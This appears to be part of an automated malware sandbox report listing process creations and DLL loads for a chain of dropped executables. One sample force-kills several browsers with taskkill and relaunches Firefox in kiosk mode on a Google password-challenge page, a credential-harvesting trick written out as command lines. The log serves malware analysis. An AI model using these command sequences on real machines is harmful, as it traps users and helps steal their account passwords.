Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2316 -parentBuildID 20230927232528 -prefsHandle 2260 -prefMapHandle 2256 -prefsLen 25416 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ddc58a6b-ce9e-458e-bf41-6e16069df6f3} 6688 "\\.\pipe\gecko-crash-server-pipe.6688" 1fa6786eb10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2200 --field-trial-handle=2008,i,14332118018770352098,14837137998723071509,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2016 --field-trial-handle=1976,i,8954063643087590301,5146573607995166192,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
